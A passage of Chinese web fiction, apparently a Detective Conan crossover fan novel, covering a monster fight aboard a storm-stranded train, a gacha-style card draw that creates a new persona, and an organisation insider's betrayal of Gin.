在其中满是要将万物撕碎的纯粹的兽性,有涎水从嘴边流下,它贪婪地注视着他, 身体没有动作。 但望川涉知道,它按耐不住的。 果不其然,几乎是下一瞬, 它就撕裂了列车的车厢,猛然朝他袭来! “我就要死了么?”长濑花只有微弱的念头在回响, 在经历了那样一番彻底消耗了自身身体的战斗后,她活不下来, 这本就是在情理之中的事。这样的后果,她也早有了预料。 “这算什么, ”在旁边有一个声音在质问她, 是另一个自己:“你当初在实验室中拼尽了全力都想要活下来, 现在就这样干脆地把命交出去,这之间你做的多有,都算什么?” 这黑暗好长好幽深, 这就是死亡前的心路么, 会彰显自己的一生? 她看到了, 过去的自己无时无刻不在打磨自己的身体, 接受组织的禁忌药物,在极限中与人搏斗, 不断地想要突破自我…… “那个人将你救下来, 只是想要一把刀,一把锋利的刀, 只要事情成功了,刀折了与否, 对他来说都是无所谓的事。你不是看到了吗,他对于那些死去之人的反应。”又是一个自己在冷冷地说。 回忆中的风祭野见出现,他的身影有些飘摇,有人在将牺牲者的消息传达上来后,他也只是浅浅地将手中的书翻了一页,淡淡地说道:“是吗?一切都按照组织的标准来吧,好好将之收殓了,剩下的人多注意一下吧。” 长濑花看到了更多的牺牲,他们有些顺利成长起来了,有些仍是抱着组织成员之名,在一次次的任务中,死在了无名的角落。 “你做的这些,真的是你想要的吗?”又一个自己在质询自己:“你应该拥有自由的人生,你的实力早就能取得组织的代号了,琴酒能得到的,你也能得到,没有人能限制你!” “好好听话,”印象中是一男一女模糊的身形,男的在对自己说:“要通过组织的考核,这样一来,我们一家才有重新团聚的机会。”女的也对自己说:“小花那么优秀,一定能做到的对吧,我们在等你哦。”他们笑着转身离开了。 好糟糕啊,原来这段回忆我还没有忘记么。不过没关系,我就要死了,这些都不算什么了…… “长濑花。”有人在呼喊她的名字。是谁,好像是从很遥远很遥远的地方来。 “长濑花,你还想活下去吗?”有人在问她,像是凑的很近,又像是隔了一层厚厚的壁垒。 她似是从无垠漫长的死亡中惊醒过来,抬起沉重到挂铅的眼皮,啊,她看到了—— 是一只猫。 一只白色的猫出现在黑暗中,它的身躯在发光,雨水从它的毛发边顺流而过,寒风也无法动摇它的身躯,它就静静地站在那里,四肢如履平地,它眼瞳中闪着人性的光,它在问她:“还想活下去吗,长濑花。” “哪怕是以一个怪物的身份。” 裴真的主意识是在这具猫猫的身体里,他注意到了这场战斗后的异变,也见到了长濑花最终的结局,如果没有变化,她最后的结果是必死无疑了。可惜了,明明她已经得偿所愿了。 想到这里,他一个起跳,跳到了车厢的高处。外面风雨交加,在这最后的时刻,他将自己的心神转回到本体中。 侦探社中的主体扫视了一下自己拥有的光点,在后面又得到了一点数量的情况下,他已经有六抽了。 他去抓落从高天上坠下来的星星—— [青铜·技能]【黑客】 在无限的网络中,你就是隐匿在其中的幽灵。你喜欢聆听敲击键盘的声音,因为那是你奏起的神秘乐章,你穿梭过无数的防火墙,将那些庸人们的追捕嗤笑为无能狂怒,你在网络上来往纵横,将之视为你的战场。 你喜欢这个绿色编码的世界,你不是败者,你只是相对于繁复的世间,选择了另一条更为孤独的道。 很有用。裴真看往了下一个星星。 [钨铁·时装]【异能者】 “世界在你面前掀开了新的一面。” 人类之上是什么,人所能够想象到的就是超凡。与平庸无趣的普通人相比,你拥有了跨越到另一个阶层的门票,每一位异能者都代表着世界的奇迹,你拥有了它,就连平凡无奇的外表上都如同镶上了一层边,这就是异能所带来的光环。 卡面上,是一个绿色头发的青年倚靠在墙面上,抱着双臂,似是在思考。 裴真想,这张卡之所以能达到[钨铁]的等级,只能是因为,涉及到了超凡,最低档都是[钨铁]。 第三张。 [青铜·身份]【艾略特·奥提兹姆·米瑟耶·格罗佩斯(没落贵族)】 没落家族最后的一抹余晖。 你曾拥有一座城堡,但它已经成为他人的产业;你曾拥有王系的血脉,但主枝也都湮没在了历史中;你也曾拥有过黄金与宝石的加持,但它们早就在一场场的变卖与被掠夺中消耗殆尽。也许家族声望的褪去并非是一件坏事,因为那样的话,你就只需要是你自己。可家族的荣耀真的就这般轻易被忘却了吗? 潮水退去后留下一地湿润的沙,而其中,最为亮眼的一颗总是会夺取人的关注。有人将过重的期待放在了你的身上,复苏的野心也便由此而来。 你不由在想,是不是你的存在导致了这一切?若是你从来都不存在…… 裴真皱了皱眉,看向第四张卡牌。 [钨铁·技能]【科研达人】 在这个异能与咒术,石板与王交杂的世界,科学依旧闪耀着自己的光辉。科学不是否定一切,而是容纳所有既存在的,再去推研其立足之根基。它不仅是技术,也是一种思维。 你会需要它的,在很多时候。 [钨铁·杂物]【星星发夹】 “你闪耀的灵魂,会被记录在这一刻。” 童年时珍藏下来的发夹,它会保留下所有让你觉得美好的记忆,人之所以能走下去,或许就是依赖于这一段段令人不舍的过往。你可以保留下自己的理智,无论是多么扭曲与悲伤。 裴真的目光闪了闪。 最后的一张。 [青铜·杂物]【男用耳环】 “它会让你光彩夺目,光耀照人。”人们会屏息在你的脸上,为你无暇的风华。 若是你本身就拥有着魅力,那它就会将之更好地散发出来,让你受到万众期待的瞩目。它能让你好,也能让你更好。端看你如何使用它。 裴真将之收起。他不得不说,这一次的六次抽卡,每一张都是很有用的。就算有些效用不大,但用在特定的身份和场合中,也能起到万分回报的效果。而那其中的[时装]与[身份]卡,他的眼神幽深,看向之前抽到过的两张异能力卡。 [扭曲],还有[规则]。 是了,是该使用它们的时候了。裴真心中有了预感,将整整五张卡牌投入到其中,有三张都在闪耀着银色的光辉。 一种奇妙的感觉让他又抽出那张[变革与奇迹]成就得到的[白银·升阶卡],将之投入到[时装]卡上,卡面上绿色短发的青年站起了身,他缓缓地向着他走来。身躯上白色的T恤逐渐拉长,直到长成了一件如光丝织成的洁白长服。这服装轻盈中带着庄重,剪裁合体,领口与袖口处,都绣有一圈神秘繁复的纹路,宛如一件神圣日穿着的礼装。他绿色的头发也飞快长长,直到长成了垂落到腰间的卷发,他微阖双目看来,同样翠色的眼眸中,逐渐生出了满怀的慈悲与淡泊的温柔之意,他伸出了双手,轻轻一抓—— 两道卡牌的效果就这样被他抓在手中。他看了它们一眼,彻底从中走出。就是在这一瞬间,裴真好似看见了金色的闪光。 艾略特·奥提兹姆·米瑟耶·格罗佩斯,新的马甲对着他微微一笑:“你好,本体。” 望川涉叹了口气,风祭野见为之侧目,就连远不知在何处的伊莎贝尔也笑了起来。裴真松了口气,他感到自己在这奇异的世界中,终于有了除了王之剑外,另一项自保的能力。他将自己的心神转回到猫身上,再去看那柄即将断折的刀。 他从风雨中走出,在黑暗中与她询问。 “你还想活下去吗,长濑花?” “哪怕,是以一个怪物的身份。” 长濑花动了动口,她流落下一滴泪来,接过了他伸出的手。 望川涉收回自己游离在外的心神,因为上面的怪物已经彻底将他锁定了。他飞快地跳开,躲过它扑下的攻势。他的目光放在了这个怪物的躯体上,笑意在他眼中酝酿开。 “原来是你啊,琴酒,”望川涉的心情很好:“居然成为了一个怪物么。” 他没有说错,因为“琴酒”现在的情况确实很特殊,他一半的身躯都已经化为了另一种的模样,暗紫色的身体无限畸变隆大,衣服被撕裂开,肌肉暴突而出,银发化为了白发,在后面披散开来,完全是一个两三米高的怪物,而他的另一边却仍保留了一些人形,只是曾经冷酷的脸上满是痛苦。 “真是狠啊,”望川涉啧啧称赞道:“研究咒灵已经到了连自己的头号打手都不放过的地步么,为了永生,组织的幕后BOSS还真是疯狂啊。” 怪物似乎是在吐露出一些不明所以的话:“你……风祭……背叛……” “看来已经想明白了啊,”望川涉还是不急:“也是,彼岸花在组织中其实是隶属于哥连士酒手下的,有这样一把还算锋利的刀,哥连士情报人员的身份就更稳固了,因为他其实不缺行动力,又没有野心,朗姆就算看不惯他的懒散与摸鱼,也还是会将之容纳下来。” 他险险又避开一击。这里巨大的响声和嘶吼声,让一些还在另外车厢中的人也往这里看来,其中有能力的,更是往这边掠来。他们急于知晓发生了什么。 柯南一直在倾听着窃听器另外一边的声音。赤井秀一那边的战斗持续的时间并不长,“异能者”的称谓让他心中为之一动,他愈发想弄清这车上发生了什么,可接下来,更大的爆破声让他不由为之心惊。 这声音太近了,就像是在邻厢中发生。这种极近的威胁,让躲藏起来的几人都焦躁不安起来。 第78章 你愿意接下他的请柬么 “不行, 我们得出去看看。”柯南他们并不是这样坐以待毙的人,就算灾难真的来临了,他们也应当是抵抗在最前列的人, 他就是这样的一个人。在小兰刚想要说些什么的时候,他就道:“小兰姐姐,灰原他们就拜托你了!” 说完, 他就一溜烟窜了出去。 车里根本没有人在活动,幸好, 那些劫匪们在大多的时候,是只求财的。柯南已经知晓, 他们最初是为了偷窃车上一位女士身上的宝石而来,只是后面, 或许是因为天气, 也或许是因为膨胀的野心, 才发展到现在这种地步。 无论如何,事情已经发生。 他跑得飞快,但越靠近声音那里, 他就越小心翼翼。他的耳朵上别着窃听器的聆听装置, 脚下的球鞋也已蓄势待发。他只是偷偷往那边窥视一眼, 一只手就从暗地里将他的嘴捂住, 然后迅速将他整个人拉进去,并限制住了他所有的动作。 柯南僵在那里, 他的整个人像是受了大惊吓, 眼中满是溢出的惊惧,他口舌发干道:“那边的……是什么?” 他身后人的神情也很复杂, 他道:“我也不知道。” 耳机里传来有人说话的声音,柯南找回了心神, 他慢慢地放松了身体:“你们能对付它吗?” 他身后的人像是笑了下:“你怎么会认为我和它是敌对的?” 柯南额上冒出了汗,是了,如果他与那个怪物是敌对的,又为什么不与里面的人一起对付它,而是要躲在这里,暗自窥伺,可很快,他就理顺了思路道:“你不是里面任何一方的人,所以才没有动作。因为你也没有朝另一人开枪。你阻拦我,是为了阻止我进去,你认为我进去,很快就会死。” “对吗,FBI先生?”他这样问。似乎是这个词让后面的人有所震动,柯南迅速从他怀里挣脱出来,可等他就要将手表里的麻醉针射向身后人时,一张十分熟悉的脸映入他的眼帘。 “你是……楼下咖啡店新上任的咖啡服务生?!”无论怎么想,有这样职位的人都不该出现在这里吧?柯南心中忍不住吐槽道。 降谷零也没有再伪装了,现在的这个时刻用另一个身份可做不到什么事。所以,他只是轻微笑了下。 “不是FBI,是日本公安。”他竖起一根手指,做保密状道:“小侦探可千万不要再弄错了哦!” 望川涉暼了门口一眼,他手中的枪毫不客气地在怪物身上又开了三个洞,他在想应该要如何解决这个怪物,咒术师的总部在日本,以琴酒为基本变身出的这个怪物绝对有特级的级别了,且不说他们能不能侦测到,就算知道了,也应当不会派人来……利用他人力量的想法破灭了呢。望川涉无声笑了下。 裴真没有将长濑花变成咒灵。琴酒能变成咒灵,是因为组织早先将一些对于咒术界的研究放进了他的身体,长濑花虽然也受了些影响,但那最多只是让她在临死之前,原本的情绪受到更多的、紊乱的干扰。他使用的是另一种方法。 白猫重新往回奔走。 风祭野见在车厢中摇了摇头,他觉得自己的本体还是有些仁慈了,如果长濑花没有死,又被人知道是他救了她,那么就绝对会有人将自己与无色之王联系起来。这违背了他最初的本意。但既然是本体,救了她也没什么,更何况,她也不可能再出现在这世上了。 他站了起来,推开门走了出去。三轮未海一脸懵逼地跟了出去。 赤井秀一也在往之前发出声音的方向去,一些被他唤出的FBI探员小跑到他跟前,对着他行礼,他点了点头,将身后的一个人交给他们。 居然是与基安蒂分开后的科恩,只见他的双手被手铐铐住,脚也被绑起,脸上满是淤青与血迹,他“呸”了一声,并恨声道:“组织不会放过你的!黑麦,背叛组织的人,永远不会有好下场……” “砰。”探员毫不客气地冲着他的腹部来了一脚,厉声喝道:“老实点!” 科恩被迫闭嘴。 “还有,”在走之前,赤井秀一继续道:“让国家的异能机构去查一下,这一次的列车劫匪案后面是不是有其他人。领头的人是个异能者,将他的经历都查清楚。” “是!”探员肃然站立回道。 赤井秀一飞快地奔跑在车厢里。一个人猛的撞了过来,赤井秀一刚想还手,就见到这只是个满脸惊恐的普通乘客:“怪物……车厢上有怪物,”他断断续续地控诉:“有怪物爬过去,它的爪子抓裂了列车,可怕,好可怕……” 赤井秀一眉头皱死,之后在经过一间房门大开的包间时,他一眼就瞥见了里面顶上恐怖的裂口,那不是人能造出的,他忽然有一种预感……有什么预料外的事情发生了。 “咚!”前面传来一阵轰隆声,赤井秀一往那里望去,瞳孔骤缩,他的双腿不禁停了下来,握着枪的手都忍不住颤抖了下:“这是……什么?” 他见到的,是一个有两三米高的怪物,这怪物现在已经伸直了身体,大半个的身躯都突破在列车外,它之前是在捕猎那个小个子的人类,所以才“委屈”自己弯下腰。 而现在,望川涉呼出口气,看着前方已经成为一片废墟的一节车厢。这里原本可是间娱乐的场所呢。 柯南与降谷零第一时间都扑往了更后方的位置。他们二人的脸色是一致的凝重,柯南说:“不行,我们必须要想办法,这东西子弹根本对付不了。” “这地方没办法弄过来高科技武器,”降谷零道:“我倒是可以手搓炸弹,可看这家伙的样子,那种小体量的炸弹真的能对付它吗?” “可是没办法也要想办法,”柯南无比烦躁:“这家伙一旦没人制住,就现在这环境,车上的所有人都要死!” 怪物怒吼一声,双手撕扯下一块列车的铁皮,猛然朝另一人掷去。望川涉整个人暴露在倾盆的大雨下,寒风将他的帽子刮飞,不知卷入到哪里去了,他的红眸暗沉,短发黏成一缕缕,脸上的笑容再也不见。独自一人面对着这通天的怪物,竟有种惨烈的悲壮之感。 “不行了,”降谷零咬牙道:“不能这样继续下去了!” 他突然朝着那怪物开了一枪,然后毅然决然地闯了进去。 柯南在后面只能眼睁睁地看着。就在这一刻,他的心中忽然涌出一股懊恼,他从没想过,脱离了推理,在这种纯粹野蛮暴力的事件中,他的智慧,仿佛是其中最不值一提的东西。他没办法保护自己的亲人朋友,也没办法阻止这个怪物,甚至这一次,他连与那个家伙辩论的机会都没有,只能在外面看着。 +99 一个颇大的数字让在场中的望川涉也忍不住回头看了他一眼。降谷零举着枪冲到他身边,他大声道:“这怪物到底是什么东西?” “还看不出来吗?”望川涉终是笑了下:“这就是琴酒啊。” 降谷零一个趔趄,差点被这怪物的爪子一下子割断头,他语声颤抖道:“这怎么可能是琴酒!” 没办法相信,没办法接受,降谷零只感觉自己在做一场荒诞的梦。+89 这是世界观被重塑了吧,望川涉还有闲暇在想。 怪物的动静愈来愈大,它似是习惯了自己的新身体,也知道了应该要如何战斗,每一下都比之前更迅猛、更刁钻、更凌厉。望川涉能够坚持这么长的时间,只能说他对自己身体的掌控、和对战场时机的把握已经超越了一个巅峰,但奈何,对手是巅峰外的怪物,他只能躲,不能反击,所以才显得弱势。 这是降谷零在坚持了数分钟,好几次在死神面前徘徊后得到的感念。他明白,这东西,根本不是人类可以抵挡的。 柯南都快要生出绝望了。这时,后面有人走近的声音响起。 他回头一看,是个高瘦英挺的男人,他头上戴着一顶针织帽,墨绿色的眼睛正死死地盯着怪物,里面并没有恐惧。 柯南心念一动:“你们FBI有办法吗?” 男人看了他一眼,没有探究他是怎么辨出他身份的,他问道:“这东西怎么来的?” “据说是琴酒。”柯南老老实实地说。在初听闻时,就算刚贡献出来一个大数字,他还是给了望川涉又一个光点,+77。 赤井秀一也很震惊,嗯,不过从表面上看不出来。他瞅了柯南一会,柯南说:“我在降谷警官身上放了窃听器,听到他们说的。” 赤井秀一的视线落在了降谷零身上,几息后,他移开视线,深吸口气,拨打了一个电话。幸好FBI给他配对的都是卫星电话。 对方也接了,赤井秀一长驱直入问:“琴酒是怎么回事?” 柯南竖起了耳朵。对面人回答道:“大概是改造实验吧,组织BOSS给他的身体里加了些不是人类的东西。” 赤井秀一拧眉:“我就不问你加的是什么东西了,我只想问,你能解决吗?” 对面人沉默了。赤井秀一语气加重:“不要和我说,你策划了这一切,结果到了最后,连琴酒发生了这样的变化都不知道。你应该清楚,如果列车上的人都死完了,你之前所有将要得到的东西都会付之一炬,就算是FBI,也不想承担起这样大的责任。” “还真是严厉呢,”对面人说,他叹息道:“这种事也不在我的料想中啊,谁能想到琴酒还有这样的‘后手’?” 赤井秀一抓着手机的手握紧:“如果你解决不了,那我就只能汇报总部。从此之后,你将会作为此次列车事件的总负责人,背上车上七百多人的性命,开启国际最高通缉,并开始你恐怖主义分子的一生。” 对面人忍不住笑了:“赤井先生还真是一个甩锅的好手,你在FBI中的长官也一定经常接你甩下的锅吧?你有这样的魄力,为什么不去威胁你的总部呢?想来FBI,也应当有可以解决这种事件的能力。” “因为我知道,”赤井秀一慢慢说:“总部远在千里之外,它就算知道了,也没办法第一时间反应过来。可你,就在这趟列车上!” 柯南屏住呼吸在等待。对面人似是在思忖,这一刻,两人都听不见外面任何其它的声音,终于,他们听见他说:“……你的这番话我会记录在案,作为日后交涉之用。而接下来,我所付出的,你们也应当在后面偿还。” 赤井秀一勾起了嘴角:“你尽管来!” “好,”对面人语声淡淡,但紧接着,他忽而话题一转道:“赤井秀一先生是否在来这里前,刚刚解决了一位异能者?” 赤井秀一扬了扬眉:“是的,我确实解决了一位,他的异能并不强,使用时也很生疏。” “那么,你是否听说过,”对面人的声音压低:“在异能者中,有这样一类人,他们凌驾于所有异能者之上?” 赤井秀一张了张口,他想到了什么,良久才语声艰涩道:“你是说……” “不错,就是你想的那样,”对面人也不再绕圈子了,他道:“超越者!” 赤井秀一闭了闭眼,他回想起自己曾经查阅过的有关世界的另一面的一摞摞资料,其中的某些形容触目惊心,他又睁开眼看了下雨中的怪物,这个怪物体型恐怖,立足在大地上,就像是地狱里来的魔物,它的每一个组成部分都在挑战人类该有的常识。它踩踏车厢,就像人类在踩着什么柔软的糖物,黑夜与暴雨也仿佛在眷顾它,为它渲染出一种骇然惊怖的氛围。 那两个人坚持不了多长时间,赤井秀一认识到。 他说:“你认识哪位超越者?是哪个国家的尊者?” 柯南如听天书般好奇地听着。对面人却没有回答这一句,他只是说:“为解决这一次的事件,你愿意接下他的‘请柬’么?” 赤井秀一愣了愣,可他很快反应过来,这应当是某种前提或者设定好的流程,没有从记忆里查找到,他默然了下,想到了现状,还是道:“是的,为解决这里的事,我愿意接下他的请柬。” 对面人不再说话,“嘟”的一声,电话被挂断了。柯南眼中生出迷惑,赤井秀一则是抿紧了唇。 第79章 光明与黑暗,无人能替我抉择 风祭野见挂断了电话, 他就站在那两个人对面的车厢内,透过列车的断裂处,默默地瞧着外面那场险象环生的交战。三轮未海立在他旁边, 在他与人交谈的时候,一个字也不敢说。 柯南与赤井秀一在等待,可等了好一会, 也不见场上发生什么变化,风愈大了, 像是要席卷起雨水,在这黑夜中奏响一曲狂悖之歌。而就在柯南有些等不及的时候, 怪物的一拳就要砸到望川涉和降谷零头上的时候,某种难以言叙的东西降临了—— 周遭的一切好像静止住了, 人们的心绪也被拉长。一道白色的圆圈出现在怪物拳落向的前方, 莹莹的光辉散发向周边, 给它们披上了一层轻薄的柔纱。怪物不管那些,它的拳头去势凶猛,像是攻城的炮械, 肌肉高高隆起, 将风与雨都排开, 带出气流的漩涡……而就是在此时, 一只手从白圈中轻轻伸出。 这只手指节修长,皮肤细润, 宛如白瓷雕成, 无一处不完美,它的动作很缓慢, 却后发先至地出现在怪物拳头落下的前方,以手掌作简单阻挡状。这种时间错位的观感让围观者一阵难受。但就外形来看, 它怎么也不像是那只拳头的对手,柯南下意识地提起了心。 便是在此刻。 “此地禁止交战。”一道陌生清朗的声音出现在众人的耳边。他的声音并不大,但穿透了暴风与大雨,就这样清清楚楚地出现在众人耳中,仿佛是在他们身侧温和开口。 怪物的手停了下来。不是它不想向前,而是它无论怎样使力,前方都好像有一层它怎样都无法企及的距离,让它无法将那只手砸成肉酱。它愤怒使劲,将浑身上下的力量都凝聚于此,都没办法前进一丝一毫。 不,不是它无法前进,而是它的身体被禁锢住了,一种无形之物令它怎么也无法挥出这一拳。它无比暴躁,整个怪物仿佛要爆裂开。 但不待它有所反应。下一瞬,手掌动了,它中指弯下,轻轻一个弹指。 “此地禁止变异。”与此同时,那声音又说了。 弹指突破了怪物怎么也突破不了的距离,弹到了怪物的拳头上。怪物犹如受到了重击,飞速冲撞到身后的一棵树上,树被撞倒,怪物砸落在地,掀起重重的泥水。它痛苦出声,声音响彻黑夜。可很快,它就停止下来,不再动作。 所有人都吓了一跳,看着那只手,犹如见到了神明。 见达到了效果,手掌顿了下,慢慢地收回去了。白色的光圈也消失了,它就像来时一样,去时也毫无声息,仿若不想惊动任何人。 雨水一瞬间重新砸下来,柯南大口大口地呼吸着,就好像是从凝固的琥珀中逃出,之前的一切恍似另一个世界发生的故事,充斥着神怪小说才有的玄奇与荒诞。可怪物现在的模样表明那一切不是假的,他看向赤井秀一,发现这位FBI中的精英探员,现在也是一副恍惚,震撼难以回神的样子。 没有人说话,所有人都能听见自己沉重的呼吸。 良久,柯南听见赤井秀一在小声喃喃说:“超越者……” 这就是超越者吗?柯南攒紧了拳。他不敢想象,自己居然是与这样一种存在生活在同一个世界中,他之前学习过的物质世界观又算什么? +369 新马甲只是稍稍露出一角,就收获了这样多的光点。可见现场的这几人,对他力量的震动与惊骇。望川涉首先打破了沉凝,他笑了下道:“真是强大到难以理解的力量。不过,我们也算是捡回来一条命呢!” 气氛松动起来,降谷零坐在地上,他一身狼狈,浅金的短发湿哒哒地贴在脸庞上,他“哈”了一声,捂住脸道:“你算什么捡回一条命,刚才那种情况,真的要死的,只有我一个人吧?” 望川涉但笑不语。柯南连忙道:“在那种情况下,还能够上前帮忙的降谷警官才是真的勇敢,也幸好你没事,否则的话……” 他的话没说完,身边的那个FBI探员往前面走过去了,只听他一边走一边说:“降谷……警官?” 降谷零的动作也止住了,他偏过头,透过雨幕往这里望来,风依旧很大,但在场的都不是什么普通人,他看到了赤井秀一的那张脸,顿时,一股怒气就冲向了脑海,他爬起身,咬牙切齿道:“原来是你啊,赤.井.秀.一!” 糟糕,我是不是说出了什么不该说的东西?柯南反应很快,从他们二人的表情中,读懂了他们应该有一段过往。望川涉在一边笑吟吟地看着。 柯南想找人打断这种尴尬,但看见他的模样,脑袋就开始疼起来。 但幸好,那两个人比他想象中的要冷静理智,最起码,在降谷零现在这种疲惫的情况下,他也无力去找麻烦。他只是问:“最后出现的那是什么情况?” 相比较于琴酒,甚至是琴酒所化的怪物,这种像是在另一个层级的强大才是他们更应该关注的。他们这种人通常代表的都是国家,一般也会站在国家的立场上来思考问题。 “什么情况?”赤井秀一重复了一句,他想起了自己在之前答应过的接下“请柬”一事,神情有些复杂,“超越者,你应该知道吧。”他问。 降谷零也严肃起来,刚才的那个怪物他并不怎么清楚,但异能者的事他还是知晓的,毕竟是能够定下世界战争走向的一群人,而超越者,对于日本国的意义又格外不同。 “他是谁?”他迅速问。 赤井秀一嗤笑了下,他道:“我也不知道。”他没有说自己是如何引动他出手的,只是转过身,摆摆手道:“不要去想那种人的事,你现在应该做的,是赶紧联系人来收拾这里。” 怎么可能不去想?降谷零盯着他的背影,眼里藏着刀子。这个地方又不是日本,应该做的也是让国内联系这个属地的国家,只是,他的眼神闪了闪,变化后的琴酒确实不该留在这里,最好提前一步让人来运走,其中发生了什么,也不是他们该知道的。 而且,降谷零又回想起了刚才那一瞬间的感觉,在那一刻,就好像是这片空间的归属改易了主人,每一分都添上了别人的印记。这种仿佛改天换地的伟力,真是可畏可怖。 柯南不好意思地凑过来。降谷零也没有怪罪他,他只是轻轻叹道:“或许从今往后,我的另一个身份就没那么重要了,组织……” 看向身边交战后留下的场景,他忽而惊醒:“是了,琴酒……” 黑暗中,有人慢慢地走了过来。 琴酒好像刚从无边的炙火与怨恨中清醒过来,他好似经过了一场看不到尽头的折磨,一路走来,才终于从泥渊中探出头,呼吸一口气。 他慢慢地侧过身,半边的身体没有知觉,他开始回想自己“晕”过去之前的经历。与那个叫“彼岸花”的女人战斗,那是个死也要将他拖下去的疯子,最终他们一起滚落下来…… 脚步声停在了他的身前,黑暗中,琴酒看清了他的那张脸:“啊,果然是你,哥连士,你背叛了组织。” 哥连士一身黑色的西装,他站在风雨中,看着琴酒倒下的身体,他现在已经没有那么高了,褪去了咒灵那挑战人心的外形,只是有一半身体还保留了异化的形态。 三轮未海胆战心惊地听着琴酒说的话。 风祭野见摇摇头:“琴酒,一开始就没有选择的背叛,不叫做背叛。” 琴酒眼色深沉:“像那家伙一样的人,在组织中还有多少?” 风祭野见知道他说的是长濑花,他轻声道:“很多个。” 琴酒很想笑,于是他就笑了,雨水从他的脸上流了下来,让这个从前一直都狠辣强大的男人像是在哭泣:“为了这一天你等了十多年吧?” “也没有多久,”风祭野见淡淡道:“其实一开始只是想要有一股自己的力量,你知道,一个人装弱,但不能真的弱,因为维护自己‘软弱’的生活,也是需要力量来保证的。等到将力量攒到了手里,我也没准备做什么,因为在组织内、在组织外,对我而言,都是没什么区别的。只是,最近朗姆想要除掉我了,因为他有一个预备推上来的新人,再加上妄图彻底收服长濑花,我的存在对他来说有些碍眼了。” 琴酒想要眨眼:“所以你就准备反抗?” “是的,”风祭野见道:“你知道的,如果要试着扭转他的想法,就必然要暴露出一些东西;而暴露后,他说不定会怀疑我,还会将更多更危险的任务交到我手上,为此我只能一步步拿出更多的东西,直到组织的BOSS也关注到我身上。我或许会地位提高,但之前的做法让我无法得到他们的信任,可在这样的组织中,我又必须得到他们的信任,所以,我就只能一次次地为他们出生入死……” “可是,何必呢?”他的眼中透出迷惑:“我其实并不是很想得到那两个老东西的信任。” “与其经过这一系列的流程下来,让自己累生累死,还让自己的手上染上没必要的血,”他说:“不如我们直接将这一过程精简掉,直达最后的结局就好。” “那就是,直接将整个组织给干掉!”风祭野见拍了拍手,脸上是一种全然的冷漠。三轮未海在他的身后瑟瑟发抖,恨不得自己缩小消失掉。“这样一来,就不会有任何麻烦找上门来了。”风祭野见说。 他并不是为了什么公正正理,也不是为了什么挣脱黑暗,或为他那群属下们着想。他仅仅就只是为了这个理由。 “我可以选择黑暗,但那必须要是我自己选择的,”他直视着琴酒说:“光明与黑暗,无人能替我抉择。” 琴酒一瞬间就看穿了这个男人的内里,在他那懒散无谓的表皮下,是一颗绝对傲慢的心,他根本就看不起这世上的任何人,在他的眼中,所有人都只是棋子,区别只在于价值之分。就算不是今天,也会在未来的某一天,他会将整个组织掀翻,只要不如他的意。 “你这个……咳咳,你这个……”琴酒痛苦地说,他捂住胸口,像是承受不住。 风祭野见想要听清他说什么,就往前走了一步。 琴酒垂下眼帘,身形陡然突起,整个人如闪电一般,就要用怪形的手插入风祭野见的咽喉。但下一瞬,他就开始大口大口地吐出血来,他往下一看,只见风祭野见的一只手,正握成拳,重重地击打在他的腹部,这一击力势之猛,让他转变后的身躯都禁不住微微躬起了腰。 与他之前所有表现出来的都不相符。 “……虚伪的家伙。”琴酒在他的耳边轻轻地说。他倒了下去。 真让人恶心,他望过来的眼神仿佛在说。 风祭野见摇了摇头,接过三轮未海递过来的手巾,他擦了擦手。 “我就知道,你这样的性子,绝不会轻易认输。”风祭野见叹道。 琴酒最后见到的,就是在风祭野见离开的路上,有另一个身影静候在那里。二人遇到时都没有说话,风祭野见继续往前走,那人则是转身暼过来一眼,面上含着笑。 是望川涉!他笑着看了他一下,便与前面人一同离开了。 琴酒闭上了眼睛。 第80章 风暴暂且止息 可恶, 降谷零一边在地上飞奔,一边在心中暗恨,自己是怎么会忘记, 现在最重要的,不是那个不知为何出手的“超越者”,而是被打落后就一直没动静的“怪物琴酒”啊! 他只是被打败了, 不是被打死了,若是还留有力气, 在那位离开的现在,我们这边所有人加起来…… 他忽然回想起之前在场的另外一人, 在“琴酒”被打败后,他一直都没什么动作, 原本还以为他是因为身份之故, 可现在看来, 他恐怕并非是什么也没有做。降谷零的眼眸暗沉下来。 赤井秀一一直在往前走,还没到目的地,在半路上, 他就瞧见了其他的三个身影。最前方的是一个黑色西装的男人, 他眉毛浓密整齐, 亚麻色的头发因为雨水打湿, 稍稍向后捋起,露出光洁湿润的额头, 这让他往昔被遮掩着的双眼露了出来。 他行走得不紧不慢, 往这里望过来时,棕色的眼瞳中, 是一种毫不遮掩的倦怠与淡漠,那种仿佛对周遭的一切都缺少了兴趣的眼神, 让赤井秀一的心猛地提起来,警戒感拉到了最高。 后面有人笑着对他招手,望川涉丝毫不在意自己的戏份被前面人抢过去一部分,他深红的眸子里,正颇有兴致地打量着他,像是对他们二人之前一瞬间的交涉有所猜测,赤井秀一的头也痛了起来。 这也是个危险的人物。别看他走在那人身后,就代表着他被收服了。他的性情绝非温顺者,他喜欢主导一切冒险与刺激之物,是个能在刀锋上跳舞的人。这两个人结合在一起,就是恐怖与混乱的代名词。比如此次。 他们应当是合作者。 三人与赤井秀一擦肩而过。双方都没有交流什么,就像一场心照不宣的默许。风雨在赤井秀一的身后落下,他心情复杂地看向躺在那里的人。 就算是你,也会有迎来终结的一天么。 琴酒。 这场暴风雨又持续了四天,加上之前的时日,这辆列车停靠在铁轨上将近有六日了。幸好之后没有再发生什么,断裂的车厢旁都有FBI的人在看守着,列车上的食宿也有专人安排,有人闹事,就有人安抚,若是想要动手脚,那就更简单了,直接上手打一顿,再拘留起来。 降谷零的脸色很难看,因为迟了一步,一些东西没有落在他手上。列车上的黑衣组织的人也都被抓了起来,这几天一直有人审问。公安的人没有FBI 的人来的多,这让他们丧失了对这部列车的主导权,再加上在国外,FBI的权力比他们大多了,这就让他们更难办了。 劫匪大都被击毙了。车上有人瞧见了他们的尸体,畏惧的同时心下也松了口气,听闻有FBI,更是喜上眉梢,觉得自己的安全得到了保障。毛利小五郎是在一间包间内清醒的,他醒过来的时候,伤口得到了妥善的处理,绷带将他半个身体都缠绕了一圈,一边的桌子上还放着几板药。就是那个白帽子的小偷不见了。 一边的班克斯夫人在连比带划地对乘警说着些什么,远远飘过来几个“预告函”、“宝石怪盗”之类的词,她的神情很激动,谈到精彩处,脸上还飘过了一抹红晕。她的两个保镖一个受了伤,另一个则是被迷药迷住,现今一副懊恼羞愧的样子。 小兰见到了小五郎,担忧的心落下,眼泪瞬间就流了下来。毛利小五郎连忙打趣安慰她。倒是柯南叹了口气:“这次算是欠下了一个大人情。” 